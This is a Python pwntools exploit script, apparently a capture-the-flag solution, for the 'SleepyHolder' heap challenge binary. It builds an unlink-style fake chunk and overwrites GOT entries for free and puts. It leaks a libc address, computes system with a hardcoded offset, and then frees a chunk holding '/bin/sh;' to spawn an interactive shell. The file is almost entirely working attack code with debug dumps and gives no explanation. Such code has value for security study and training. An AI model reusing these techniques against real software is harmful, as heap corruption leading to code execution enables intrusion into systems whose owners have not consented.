# -*- coding: utf-8 -*-
from pwn import *

s=process('./SleepyHolder')

context.log_level='debug'

e=ELF('./SleepyHolder')
l=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def Keep_secret(level,secret):
        if level=="Small":
                level='1'
        elif level=="Big":
                level="2"
        elif level=="Huge":
                level="3"

        print s.recvuntil('3. Renew secret')
        s.sendline('1') #Keep seceret
        print s.recv(1024)
        s.send(level)
        print s.recv(1024)
        s.send(secret)

def Wipe_secret(level):
        if level=="Small":
                level='1'
        elif level=="Big":
                level="2"

        print s.recvuntil('3. Renew secret')
        s.sendline('2') #Wipe seceret
        print s.recvuntil('2. Big secret\n')
        raw_input('Wipe')
        s.send(level)
        raw_input('Wipe')

def Renew_secret(level,secret):
        if level=="Small":
                level='1'
        elif level=="Big":
                level="2"

        print s.recvuntil('3. Renew secret')
        s.sendline('3') #Renew seceret
        print s.recvuntil('2. Big secret\n')
        s.sendline(level)
        print s.recv(1024)
        raw_input('Renew')
        s.send(secret)
        raw_input('Renew')

if __name__=="__main__":

    Keep_secret('Small','A'*20)
    Keep_secret('Big','B'*20)
    Wipe_secret('Small') 

    Keep_secret('Huge','C'*20)
    Wipe_secret('Small')

    payload=''
    payload+=p64(0x0)
    payload+=p64(0x21)
    payload+=p64(0x6020d0-0x18)
    payload+=p64(0x6020d0-0x10)
    payload+=p64(0x20)
    Keep_secret('Small',payload)

    Wipe_secret('Big')

    payload2=""
    payload2+=p64(0x0)
    payload2+=p64(e.got['puts']) #Big_secret : qword_6020C0 = calloc(1uLL, 0xFA0uLL);
    payload2+=p64(0x0)
    payload2+=p64(e.got['free']) #Small_secret : 0x6020d0 = calloc(1uLL, 0xFA0uLL);

    Renew_secret('Small',payload2)

    payload3=p64(e.plt['puts'])
    Renew_secret('Small',payload3)

    Wipe_secret('Big')
    '''
    pwndbg> p puts
    Cannot access memory at address 0x7f8a2248f690
    pwndbg> p system
    Cannot access memory at address 0x7f8a22465390
    -> offset=puts-system=0x2a300
    '''

    '''
    [DEBUG] Received 0x35 bytes:
    00000000  90 66 03 15  21 7f 0a 31  2e 20 4b 65  65 70 20 73  │·f··│!··1│. Ke│ep s│
    00000010  65 63 72 65  74 0a 32 2e  20 57 69 70  65 20 73 65  │ecre│t·2.│ Wip│e se│
    00000020  63 72 65 74  0a 33 2e 20  52 65 6e 65  77 20 73 65  │cret│·3. │Rene│w se│
    00000030  63 72 65 74  0a                                     │cret│·│
    '''
    puts_libc= u64(s.recv(8))
    puts_libc= puts_libc-0x310a000000000000
    system_libc=puts_libc-0x2a300

    print "puts_libc: "+str(hex(puts_libc))
    print "system_libc: "+str(hex(system_libc))

    Keep_secret('Big',"/bin/sh;")

    payload4=''
    payload4+=p64(system_libc)
    
    Renew_secret('Small',payload4)
    Wipe_secret('Big')

    s.interactive()






